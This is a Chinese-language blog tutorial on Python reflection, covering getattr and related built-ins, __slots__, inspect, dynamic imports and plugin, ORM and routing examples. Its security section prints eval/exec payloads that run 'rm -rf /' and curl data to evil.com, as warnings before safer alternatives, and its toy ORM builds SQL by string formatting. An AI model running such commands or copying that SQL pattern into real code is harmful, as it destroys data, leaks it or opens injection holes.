Python反射用法实战完整学习笔记

作者:

文章目录
  • 到此这篇关于Python反射用法实战的文章就介绍到这了,更多相关Python反射用法内容请搜索风君子博客以前的文章或继续浏览下面的相关文章希望大家以后多多支持风君子博客! 您可能感兴趣的文章: 简单谈谈python的反射机制 python中反射用法实例 python3 反射的四种基本方法解析 Python中的自省(反射)详解 Python反射和内置方法重写操作详解 Python反射机制实例讲解 Python基础学习之反射机制详解 Python中的反射知识点总结 简单了解python反射机制的一些知识
  • 目录
    • 1. 什么是反射(Reflection)
      • 1.1 定义与核心概念
      • 1.2 Python 中反射的特点
      • 1.3 反射 vs 内省
    • 2. 为什么需要反射
      • 2.1 动态性的价值
      • 2.2 典型应用场景
    • 3. 核心函数与用法
      • 3.1getattr()- 获取属性/方法
      • 3.2setattr()- 设置属性
      • 3.3hasattr()- 检查属性是否存在
      • 3.4delattr()- 删除属性
      • 3.5dir()- 列出所有属性和方法
      • 3.6vars()- 返回对象的__dict__
      • 3.7 其他常用函数
    • 4. 对象属性访问机制
      • 4.1__dict__属性字典
      • 4.2__slots__限制属性
      • 4.3 属性查找顺序(MRO)
    • 5. 高级反射技术
      • 5.1inspect模块深入
        • 5.1.1 检查函数签名
        • 5.1.2 检查类和对象
        • 5.1.3 获取源代码
      • 5.2 动态导入模块
        • 5.3 动态创建类和函数
          • 5.3.1 使用type()创建类
          • 5.3.2 使用types.FunctionType创建函数
          • 5.3.3 使用exec()动态执行代码
      • 6. 实战应用案例
        • 6.1 插件系统
          • 6.2 ORM 框架原理(简化版)
            • 6.3 序列化/反序列化
              • 6.4 动态路由(Web 框架)
              • 7. 性能与安全
                • 7.1 反射的性能开销
                  • 7.2 安全隐患
                    • 危险函数:eval()和exec()
                  • 7.3 最佳实践
                  • 8. 常见误区与对比
                    • 8.1 反射 vs 硬编码
                      • 8.2 何时不应使用反射
                        • 8.3 反射与其他语言对比
                        • 9. 扩展阅读
                          • 9.1 相关主题
                            • 9.2 进阶学习资源
                              • 9.3 实战项目
                              • 总结
                                • 核心要点
                                  • 学习检查清单
                                    • 实践建议
                                    • 附录:快速参考表
                                      • 常用反射函数速查
                                        • 安全检查模板
                                        • 总结 

                                          反射(Reflection) 是指程序在运行时能够:

                                          • 检查(inspect)对象的类型、属性、方法
                                          • 访问(access)对象的属性和方法
                                          • 修改(modify)对象的属性和方法
                                          • 调用(invoke)对象的方法

                                          简单来说:反射 = 运行时的动态操作能力

                                          Python 是一门动态类型语言,天然支持反射:

                                          特性 说明
                                          动态类型 变量类型在运行时确定
                                          一切皆对象 类、函数、模块都是对象
                                          内置反射函数 getattr, setattr, hasattr
                                          丰富的元数据 __dict__, __class__, __module__

                                          概念 定义 示例
                                          内省(Introspection) 只读取对象信息,不修改 type(), dir(), isinstance()
                                          反射(Reflection) 读取 + 修改 + 调用 getattr(), setattr(), delattr()

                                          结论:内省是反射的子集,Python 两者都支持。

                                          反射使代码更加灵活可扩展

                                          # 静态方式:硬编码
                                          if action == "create":
                                              obj.create()
                                          elif action == "update":
                                              obj.update()
                                          elif action == "delete":
                                              obj.delete()
                                          
                                          # 反射方式:动态调用
                                          method = getattr(obj, action)  # 根据字符串获取方法
                                          method()  # 调用方法
                                          

                                          优势

                                          • 减少 if-else 分支
                                          • 易于扩展新功能(无需修改代码)
                                          • 适合插件化架构

                                          场景 说明 示例
                                          框架开发 自动路由、ORM 映射 Django, Flask, SQLAlchemy
                                          插件系统 动态加载第三方模块 Pytest 插件机制
                                          序列化 对象 ↔ JSON/XML/DB json.dumps(), Pickle
                                          配置驱动 根据配置文件动态创建对象 工厂模式
                                          测试框架 自动发现测试用例 unittest, pytest
                                          调试工具 运行时查看对象状态 pdb, ipdb

                                          语法

                                          getattr(object, name[, default])
                                          

                                          功能

                                          • 根据字符串名称获取对象的属性或方法
                                          • 若属性不存在,返回 default(若未提供则抛出 AttributeError

                                          示例

                                          class Person:
                                              def __init__(self, name, age):
                                                  self.name = name
                                                  self.age = age
                                              
                                              def greet(self):
                                                  return f"Hello, I'm {self.name}"
                                          
                                          p = Person("Alice", 30)
                                          
                                          # 获取属性
                                          name = getattr(p, "name")  # "Alice"
                                          salary = getattr(p, "salary", 0)  # 不存在,返回默认值 0
                                          
                                          # 获取方法
                                          greet_func = getattr(p, "greet")
                                          print(greet_func())  # "Hello, I'm Alice"
                                          
                                          # 动态调用
                                          attr_name = input("输入属性名: ")  # 用户输入 "age"
                                          value = getattr(p, attr_name, None)
                                          print(value)  # 30
                                          

                                          等价写法

                                          # getattr(obj, "name") 等价于
                                          obj.name  # 静态访问
                                          obj.__dict__["name"]  # 字典访问
                                          

                                          语法

                                          setattr(object, name, value)
                                          

                                          功能

                                          • 动态设置对象的属性值
                                          • 若属性不存在,则创建新属性

                                          示例

                                          class Config:
                                              pass
                                          
                                          config = Config()
                                          
                                          # 动态设置属性
                                          setattr(config, "host", "localhost")
                                          setattr(config, "port", 8080)
                                          
                                          print(config.host)  # "localhost"
                                          print(config.port)  # 8080
                                          
                                          # 批量设置
                                          settings = {"debug": True, "timeout": 30}
                                          for key, value in settings.items():
                                              setattr(config, key, value)
                                          
                                          print(config.debug)  # True
                                          

                                          等价写法

                                          # setattr(obj, "name", value) 等价于
                                          obj.name = value
                                          obj.__dict__["name"] = value
                                          

                                          语法

                                          hasattr(object, name)
                                          

                                          功能

                                          • 判断对象是否有某个属性/方法
                                          • 返回 TrueFalse

                                          示例

                                          class Dog:
                                              def __init__(self, name):
                                                  self.name = name
                                              
                                              def bark(self):
                                                  return "Woof!"
                                          
                                          dog = Dog("Buddy")
                                          
                                          print(hasattr(dog, "name"))  # True
                                          print(hasattr(dog, "age"))   # False
                                          print(hasattr(dog, "bark"))  # True
                                          
                                          # 安全的属性访问
                                          if hasattr(dog, "age"):
                                              print(dog.age)
                                          else:
                                              print("Dog has no age attribute")
                                          

                                          内部实现

                                          # hasattr 等价于
                                          try:
                                              getattr(obj, name)
                                              return True
                                          except AttributeError:
                                              return False
                                          

                                          语法

                                          delattr(object, name)
                                          

                                          功能

                                          • 删除对象的属性
                                          • 若属性不存在,抛出 AttributeError

                                          示例

                                          class User:
                                              def __init__(self, username, password):
                                                  self.username = username
                                                  self.password = password
                                          
                                          user = User("admin", "secret123")
                                          
                                          # 删除敏感属性
                                          delattr(user, "password")
                                          
                                          print(hasattr(user, "password"))  # False
                                          
                                          # 等价写法
                                          del user.username
                                          

                                          语法

                                          dir([object])
                                          

                                          功能

                                          • 返回对象的所有属性和方法的名称列表
                                          • 包括继承的属性和魔法方法

                                          示例

                                          class MyClass:
                                              class_var = "I'm a class variable"
                                              
                                              def __init__(self):
                                                  self.instance_var = "I'm an instance variable"
                                              
                                              def my_method(self):
                                                  pass
                                          
                                          obj = MyClass()
                                          
                                          # 查看所有属性和方法
                                          print(dir(obj))
                                          # ['__class__', '__delattr__', '__dict__', ..., 'class_var', 'instance_var', 'my_method']
                                          
                                          # 过滤出用户定义的属性
                                          user_attrs = [attr for attr in dir(obj) if not attr.startswith("__")]
                                          print(user_attrs)  # ['class_var', 'instance_var', 'my_method']
                                          

                                          语法

                                          vars([object])
                                          

                                          功能

                                          • 返回对象的 __dict__ 属性(属性字典)
                                          • 不包括方法和类属性(仅实例属性)

                                          示例

                                          class Book:
                                              category = "fiction"  # 类属性
                                              
                                              def __init__(self, title, author):
                                                  self.title = title
                                                  self.author = author
                                          
                                          book = Book("1984", "Orwell")
                                          
                                          print(vars(book))  # {'title': '1984', 'author': 'Orwell'}
                                          print(book.__dict__)  # 等价
                                          
                                          # 修改属性
                                          vars(book)["price"] = 19.99
                                          print(book.price)  # 19.99
                                          

                                          注意

                                          • vars() 只返回实例属性
                                          • 类属性需要通过 vars(MyClass)MyClass.__dict__ 获取

                                          函数 功能 示例
                                          type(obj) 获取对象的类型 type(123)<class 'int'>
                                          isinstance(obj, class) 判断对象是否是某类的实例 isinstance([], list)True
                                          callable(obj) 判断对象是否可调用 callable(print)True
                                          id(obj) 获取对象的内存地址 id("hello")

                                          综合示例

                                          def process_object(obj):
                                              print(f"类型: {type(obj)}")
                                              print(f"ID: {id(obj)}")
                                              print(f"是否可调用: {callable(obj)}")
                                              print(f"属性列表: {[a for a in dir(obj) if not a.startswith('_')]}")
                                          
                                          process_object(lambda x: x * 2)
                                          # 类型: <class 'function'>
                                          # 是否可调用: True
                                          # 属性列表: ['__annotations__', '__call__', ...]
                                          

                                          核心概念

                                          • Python 对象的属性存储在 __dict__ 字典中
                                          • 键是属性名(字符串),值是属性值

                                          示例

                                          class Point:
                                              def __init__(self, x, y):
                                                  self.x = x
                                                  self.y = y
                                          
                                          p = Point(10, 20)
                                          
                                          print(p.__dict__)  # {'x': 10, 'y': 20}
                                          
                                          # 直接修改 __dict__
                                          p.__dict__["z"] = 30
                                          print(p.z)  # 30
                                          
                                          # 动态添加属性
                                          p.color = "red"
                                          print(p.__dict__)  # {'x': 10, 'y': 20, 'z': 30, 'color': 'red'}
                                          

                                          类属性 vs 实例属性

                                          class Counter:
                                              count = 0  # 类属性
                                              
                                              def __init__(self, name):
                                                  self.name = name  # 实例属性
                                          
                                          c1 = Counter("A")
                                          c2 = Counter("B")
                                          
                                          print(c1.__dict__)  # {'name': 'A'}
                                          print(Counter.__dict__["count"])  # 0
                                          
                                          # 修改类属性
                                          Counter.count = 10
                                          print(c1.count)  # 10(通过继承访问)
                                          print(c2.count)  # 10
                                          

                                          问题__dict__ 占用内存,对于大量实例不友好

                                          解决方案:使用 __slots__ 预定义属性

                                          示例

                                          class Point2D:
                                              __slots__ = ["x", "y"]  # 只允许这两个属性
                                              
                                              def __init__(self, x, y):
                                                  self.x = x
                                                  self.y = y
                                          
                                          p = Point2D(5, 10)
                                          
                                          # 无法动态添加新属性
                                          try:
                                              p.z = 15
                                          except AttributeError as e:
                                              print(e)  # 'Point2D' object has no attribute 'z'
                                          
                                          # 没有 __dict__
                                          print(hasattr(p, "__dict__"))  # False
                                          

                                          对比

                                          特性 __dict__ __slots__
                                          内存占用 较大(每个实例一个字典) 较小(固定大小)
                                          动态属性 支持 不支持
                                          访问速度 稍慢 稍快
                                          适用场景 灵活的对象 大量相同结构的实例

                                          查找流程

                                          1. 实例的 __dict__
                                          2. 类的 __dict__
                                          3. 父类的 __dict__(按 MRO 顺序)
                                          4. 抛出 AttributeError

                                          示例

                                          class Animal:
                                              species = "Unknown"
                                          
                                          class Dog(Animal):
                                              species = "Canine"
                                          
                                          dog = Dog()
                                          dog.species = "My Dog"
                                          
                                          print(dog.species)  # "My Dog"(实例属性优先)
                                          del dog.species
                                          print(dog.species)  # "Canine"(类属性)
                                          Dog.species = "Deleted"
                                          print(dog.species)  # "Deleted"
                                          

                                          查看 MRO

                                          print(Dog.__mro__)
                                          # (<class '__main__.Dog'>, <class '__main__.Animal'>, <class 'object'>)
                                          

                                          inspect 模块提供了更强大的反射功能:

                                          import inspect
                                          
                                          def greet(name: str, age: int = 18, *, city: str = "Beijing") -> str:
                                              return f"{name}, {age}, from {city}"
                                          
                                          # 获取签名
                                          sig = inspect.signature(greet)
                                          print(sig)  # (name: str, age: int = 18, *, city: str = 'Beijing') -> str
                                          
                                          # 获取参数信息
                                          for param_name, param in sig.parameters.items():
                                              print(f"{param_name}: {param.annotation}, 默认值={param.default}")
                                          # name: <class 'str'>, 默认值=<class 'inspect._empty'>
                                          # age: <class 'int'>, 默认值=18
                                          # city: <class 'str'>, 默认值=Beijing
                                          

                                          import inspect
                                          
                                          class MyClass:
                                              def method(self):
                                                  pass
                                          
                                          # 判断是否是类
                                          print(inspect.isclass(MyClass))  # True
                                          
                                          # 判断是否是函数
                                          print(inspect.isfunction(MyClass.method))  # True
                                          
                                          # 判断是否是方法
                                          obj = MyClass()
                                          print(inspect.ismethod(obj.method))  # True
                                          
                                          # 获取类的所有成员
                                          members = inspect.getmembers(MyClass)
                                          for name, value in members:
                                              if not name.startswith("_"):
                                                  print(f"{name}: {value}")
                                          

                                          import inspect
                                          
                                          def fibonacci(n):
                                              """计算斐波那契数列"""
                                              if n <= 1:
                                                  return n
                                              return fibonacci(n-1) + fibonacci(n-2)
                                          
                                          # 获取函数源代码
                                          source = inspect.getsource(fibonacci)
                                          print(source)
                                          
                                          # 获取文档字符串
                                          doc = inspect.getdoc(fibonacci)
                                          print(doc)  # "计算斐波那契数列"
                                          

                                          方式一:使用 __import__()

                                          # 传统方式
                                          import math
                                          
                                          # 动态导入
                                          module_name = "math"
                                          math_module = __import__(module_name)
                                          print(math_module.pi)  # 3.141592653589793
                                          

                                          方式二:使用 importlib(推荐)

                                          import importlib
                                          
                                          # 动态导入模块
                                          module_name = "json"
                                          json_module = importlib.import_module(module_name)
                                          
                                          data = json_module.dumps({"key": "value"})
                                          print(data)  # '{"key": "value"}'
                                          
                                          # 重新加载模块(开发中调试用)
                                          importlib.reload(json_module)
                                          

                                          实战:插件系统

                                          import importlib
                                          import os
                                          
                                          def load_plugins(plugin_dir):
                                              """动态加载插件目录下的所有插件"""
                                              plugins = []
                                              for filename in os.listdir(plugin_dir):
                                                  if filename.endswith(".py") and not filename.startswith("_"):
                                                      module_name = filename[:-3]  # 去掉 .py
                                                      module = importlib.import_module(f"plugins.{module_name}")
                                                      plugins.append(module)
                                              return plugins
                                          
                                          # 使用
                                          # plugins = load_plugins("./plugins")
                                          # for plugin in plugins:
                                          #     plugin.run()
                                          

                                          基础语法

                                          # 正常定义类
                                          class MyClass:
                                              x = 10
                                          
                                          # 使用 type() 动态创建
                                          MyClass2 = type("MyClass2", (object,), {"x": 10})
                                          
                                          print(MyClass2.x)  # 10
                                          

                                          完整示例

                                          # 定义方法
                                          def greet(self):
                                              return f"Hello from {self.name}"
                                          
                                          def __init__(self, name):
                                              self.name = name
                                          
                                          # 动态创建类
                                          Person = type(
                                              "Person",                    # 类名
                                              (object,),                   # 父类元组
                                              {                            # 类属性和方法
                                                  "__init__": __init__,
                                                  "greet": greet,
                                                  "species": "Human"
                                              }
                                          )
                                          
                                          # 使用动态创建的类
                                          p = Person("Alice")
                                          print(p.greet())  # "Hello from Alice"
                                          print(p.species)  # "Human"
                                          

                                          import types
                                          
                                          # 创建函数
                                          code = compile("return x + y", "<string>", "eval")
                                          add_func = types.FunctionType(code, globals(), "add", (0, 0))
                                          
                                          print(add_func(5, 3))  # 8
                                          

                                          # 动态定义类
                                          class_code = """
                                          class Calculator:
                                              def add(self, a, b):
                                                  return a + b
                                              
                                              def multiply(self, a, b):
                                                  return a * b
                                          """
                                          
                                          namespace = {}
                                          exec(class_code, namespace)
                                          
                                          Calculator = namespace["Calculator"]
                                          calc = Calculator()
                                          print(calc.add(10, 5))  # 15
                                          

                                          ⚠️ 安全警告

                                          • exec()eval() 执行任意代码,存在安全风险
                                          • 永远不要对用户输入使用 exec()eval()

                                          需求:根据配置文件动态加载不同的数据处理器

                                          # plugins/csv_processor.py
                                          class CsvProcessor:
                                              def process(self, data):
                                                  return f"Processing CSV: {data}"
                                          
                                          # plugins/json_processor.py
                                          class JsonProcessor:
                                              def process(self, data):
                                                  return f"Processing JSON: {data}"
                                          
                                          # main.py
                                          import importlib
                                          
                                          def load_processor(processor_name):
                                              """动态加载处理器"""
                                              module = importlib.import_module(f"plugins.{processor_name.lower()}_processor")
                                              class_name = f"{processor_name.capitalize()}Processor"
                                              return getattr(module, class_name)
                                          
                                          # 使用
                                          config = {"processor": "json"}  # 从配置文件读取
                                          ProcessorClass = load_processor(config["processor"])
                                          processor = ProcessorClass()
                                          print(processor.process("sample data"))
                                          # "Processing JSON: sample data"
                                          

                                          需求:将对象属性映射到数据库字段

                                          class Model:
                                              """简易 ORM 基类"""
                                              
                                              def save(self):
                                                  """将对象保存到数据库(伪代码)"""
                                                  table_name = self.__class__.__name__.lower()
                                                  fields = []
                                                  values = []
                                                  
                                                  # 反射获取所有属性
                                                  for attr, value in vars(self).items():
                                                      if not attr.startswith("_"):
                                                          fields.append(attr)
                                                          values.append(repr(value))
                                                  
                                                  sql = f"INSERT INTO {table_name} ({', '.join(fields)}) VALUES ({', '.join(values)})"
                                                  print(f"执行 SQL: {sql}")
                                                  return sql
                                          
                                          class User(Model):
                                              def __init__(self, username, email):
                                                  self.username = username
                                                  self.email = email
                                          
                                          # 使用
                                          user = User("alice", "alice@example.com")
                                          user.save()
                                          # 执行 SQL: INSERT INTO user (username, email) VALUES ('alice', 'alice@example.com')
                                          

                                          需求:将对象转换为 JSON

                                          import json
                                          
                                          class Student:
                                              def __init__(self, name, age, grade):
                                                  self.name = name
                                                  self.age = age
                                                  self.grade = grade
                                              
                                              def to_dict(self):
                                                  """使用反射将对象转为字典"""
                                                  return {k: v for k, v in vars(self).items() if not k.startswith("_")}
                                              
                                              @classmethod
                                              def from_dict(cls, data):
                                                  """从字典创建对象"""
                                                  return cls(**data)
                                          
                                          # 序列化
                                          student = Student("Bob", 15, "A")
                                          json_str = json.dumps(student.to_dict())
                                          print(json_str)  # '{"name": "Bob", "age": 15, "grade": "A"}'
                                          
                                          # 反序列化
                                          data = json.loads(json_str)
                                          new_student = Student.from_dict(data)
                                          print(new_student.name)  # "Bob"
                                          

                                          需求:根据 URL 自动调用对应的处理函数

                                          class Router:
                                              def __init__(self):
                                                  self.routes = {}
                                              
                                              def route(self, path):
                                                  """装饰器:注册路由"""
                                                  def decorator(func):
                                                      self.routes[path] = func
                                                      return func
                                                  return decorator
                                              
                                              def dispatch(self, path, *args, **kwargs):
                                                  """根据路径调用对应函数"""
                                                  if path in self.routes:
                                                      handler = self.routes[path]
                                                      return handler(*args, **kwargs)
                                                  else:
                                                      return "404 Not Found"
                                          
                                          # 使用
                                          router = Router()
                                          
                                          @router.route("/home")
                                          def home():
                                              return "Welcome to Home Page"
                                          
                                          @router.route("/about")
                                          def about():
                                              return "About Us"
                                          
                                          # 动态调用
                                          print(router.dispatch("/home"))   # "Welcome to Home Page"
                                          print(router.dispatch("/about"))  # "About Us"
                                          print(router.dispatch("/404"))    # "404 Not Found"
                                          

                                          实验对比

                                          import timeit
                                          
                                          class MyClass:
                                              def __init__(self):
                                                  self.value = 42
                                              
                                              def get_value(self):
                                                  return self.value
                                          
                                          obj = MyClass()
                                          
                                          # 直接访问
                                          def direct_access():
                                              return obj.value
                                          
                                          # 反射访问
                                          def reflection_access():
                                              return getattr(obj, "value")
                                          
                                          # 性能测试
                                          direct_time = timeit.timeit(direct_access, number=1000000)
                                          reflection_time = timeit.timeit(reflection_access, number=1000000)
                                          
                                          print(f"直接访问: {direct_time:.4f}s")
                                          print(f"反射访问: {reflection_time:.4f}s")
                                          print(f"反射慢了: {reflection_time / direct_time:.2f}x")
                                          
                                          # 典型结果:反射慢 2-3 倍
                                          

                                          结论

                                          • 反射比直接访问慢 2-5 倍
                                          • 对于高频调用,考虑缓存或优化
                                          • 对于配置加载、插件系统等低频场景,性能影响可忽略

                                          问题:可执行任意 Python 代码

                                          # 危险示例(永远不要这样做)
                                          user_input = "__import__('os').system('rm -rf /')"  # 恶意代码
                                          eval(user_input)  # 💀 系统被删除
                                          
                                          # 攻击示例
                                          user_input = "__import__('subprocess').call(['curl', 'evil.com/steal_data'])"
                                          exec(user_input)  # 💀 数据泄露
                                          

                                          安全替代方案

                                          import ast
                                          
                                          # 方案 1: 使用 ast.literal_eval(仅支持字面量)
                                          safe_data = ast.literal_eval("{'key': 'value', 'number': 123}")
                                          print(safe_data)  # {'key': 'value', 'number': 123}
                                          
                                          # 方案 2: 限制命名空间
                                          safe_namespace = {"__builtins__": {}}
                                          eval("1 + 1", safe_namespace)  # 安全
                                          # eval("open('/etc/passwd')", safe_namespace)  # 报错
                                          
                                          # 方案 3: 使用白名单
                                          allowed_attrs = {"add", "subtract", "multiply"}
                                          attr = "add"
                                          if attr in allowed_attrs:
                                              method = getattr(calculator, attr)
                                          

                                          原则 说明 示例
                                          最小权限 只暴露必要的属性和方法 使用 __slots__ 或属性验证
                                          白名单 明确允许的操作,而非黑名单 if attr in ALLOWED: ...
                                          输入验证 永远不要信任用户输入 检查类型、长度、格式
                                          避免 eval/exec 使用 ast.literal_eval 或解析库 JSON: json.loads()
                                          日志审计 记录反射操作 logging.info(f"Accessed {attr}")

                                          安全的动态调用模式

                                          class SafeAPI:
                                              ALLOWED_METHODS = {"get_data", "save_data"}
                                              
                                              def get_data(self):
                                                  return "data"
                                              
                                              def save_data(self, data):
                                                  print(f"Saving: {data}")
                                              
                                              def _internal_method(self):
                                                  """内部方法,不应被外部调用"""
                                                  pass
                                              
                                              def execute(self, method_name, *args, **kwargs):
                                                  """安全的动态调用"""
                                                  # 1. 检查白名单
                                                  if method_name not in self.ALLOWED_METHODS:
                                                      raise ValueError(f"Method {method_name} not allowed")
                                                  
                                                  # 2. 检查方法是否存在
                                                  if not hasattr(self, method_name):
                                                      raise AttributeError(f"Method {method_name} not found")
                                                  
                                                  # 3. 获取并调用
                                                  method = getattr(self, method_name)
                                                  return method(*args, **kwargs)
                                          
                                          # 使用
                                          api = SafeAPI()
                                          api.execute("get_data")  # ✅ 安全
                                          # api.execute("_internal_method")  # ❌ 抛出异常
                                          

                                          场景 推荐方式 原因
                                          固定的少量选项 硬编码(if-else) 性能更好,代码更清晰
                                          大量可扩展的选项 反射 易于维护,可扩展
                                          用户输入驱动 反射(带验证) 灵活,但需安全措施
                                          性能关键路径 硬编码 避免反射开销

                                          错误示例

                                          # ❌ 过度使用反射
                                          def process(action):
                                              return getattr(self, action)()  # 危险!
                                          
                                          # ✅ 合理的反射
                                          ACTIONS = {"create", "update", "delete"}
                                          def process(action):
                                              if action not in ACTIONS:
                                                  raise ValueError("Invalid action")
                                              return getattr(self, action)()
                                          

                                          情况 原因 替代方案
                                          性能敏感 反射慢 2-5 倍 直接访问或缓存
                                          固定逻辑 增加复杂度 硬编码
                                          类型安全 运行时错误 静态类型检查(Type Hints)
                                          安全关键 易被攻击 白名单 + 验证

                                          语言 反射支持 特点
                                          Python ✅ 原生支持 动态类型,简单易用
                                          Java java.lang.reflect 强类型,API 复杂
                                          C++ ❌ 无原生支持 可通过 RTTI 部分实现
                                          Go reflect 性能较好,语法复杂
                                          JavaScript ✅ 原生支持 动态类型,与 Python 类似

                                          • 装饰器(Decorator):使用反射实现的语法糖
                                          • 元类(Metaclass):类的类,更深层的反射
                                          • 描述符(Descriptor)@property 的底层机制
                                          • 上下文管理器(Context Manager)with 语句的反射应用

                                          • 官方文档:Python Data Model
                                          • 书籍:《Fluent Python》第五章 – 数据模型
                                          • PEP:
                                            • PEP 252: Making Types Look More Like Classes
                                            • PEP 3115: Metaclasses in Python 3

                                          • Django ORM:研究其反射机制
                                          • Flask 路由:分析装饰器和反射的结合
                                          • Pytest:学习其插件发现机制

                                          1. 反射是什么:运行时检查、访问、修改对象的能力
                                          2. 核心函数getattr, setattr, hasattr, delattr, dir, vars
                                          3. 高级工具inspect 模块、动态导入、type() 创建类
                                          4. 应用场景:插件系统、ORM、序列化、动态路由
                                          5. 注意事项:性能开销、安全风险、避免滥用

                                          • 理解反射与内省的区别
                                          • 熟练使用 getattr/setattr/hasattr/delattr
                                          • 了解 __dict____slots__ 的差异
                                          • 掌握 inspect 模块的常用功能
                                          • 能够实现简单的插件系统
                                          • 理解反射的性能和安全问题
                                          • 知道何时使用/不使用反射

                                          1. 小项目练习:实现一个配置驱动的任务调度器
                                          2. 阅读源码:研究 Django、Flask 的反射使用
                                          3. 性能测试:对比反射与直接访问的性能差异
                                          4. 安全审计:检查项目中是否存在 eval/exec 的滥用

                                          # 获取属性
                                          getattr(obj, "attr", default)
                                          
                                          # 设置属性
                                          setattr(obj, "attr", value)
                                          
                                          # 检查属性
                                          hasattr(obj, "attr")
                                          
                                          # 删除属性
                                          delattr(obj, "attr")
                                          
                                          # 列出所有属性
                                          dir(obj)
                                          
                                          # 获取属性字典
                                          vars(obj)  # 等价于 obj.__dict__
                                          
                                          # 动态导入
                                          import importlib
                                          module = importlib.import_module("module_name")
                                          
                                          # 动态创建类
                                          MyClass = type("MyClass", (BaseClass,), {"attr": value})
                                          
                                          # 获取函数签名
                                          import inspect
                                          inspect.signature(func)
                                          

                                          def safe_call(obj, method_name, *args, **kwargs):
                                              """安全的动态方法调用"""
                                              # 1. 白名单检查
                                              if method_name not in ALLOWED_METHODS:
                                                  raise ValueError(f"Method {method_name} not allowed")
                                              
                                              # 2. 存在性检查
                                              if not hasattr(obj, method_name):
                                                  raise AttributeError(f"Method {method_name} not found")
                                              
                                              # 3. 可调用性检查
                                              method = getattr(obj, method_name)
                                              if not callable(method):
                                                  raise TypeError(f"{method_name} is not callable")
                                              
                                              # 4. 执行
                                              return method(*args, **kwargs)
                                          

                                          到此这篇关于Python反射用法实战的文章就介绍到这了,更多相关Python反射用法内容请搜索风君子博客以前的文章或继续浏览下面的相关文章希望大家以后多多支持风君子博客!

                                          您可能感兴趣的文章:

                                          • 简单谈谈python的反射机制
                                          • python中反射用法实例
                                          • python3 反射的四种基本方法解析
                                          • Python中的自省(反射)详解
                                          • Python反射和内置方法重写操作详解
                                          • Python反射机制实例讲解
                                          • Python基础学习之反射机制详解
                                          • Python中的反射知识点总结
                                          • 简单了解python反射机制的一些知识

                                          站内搜索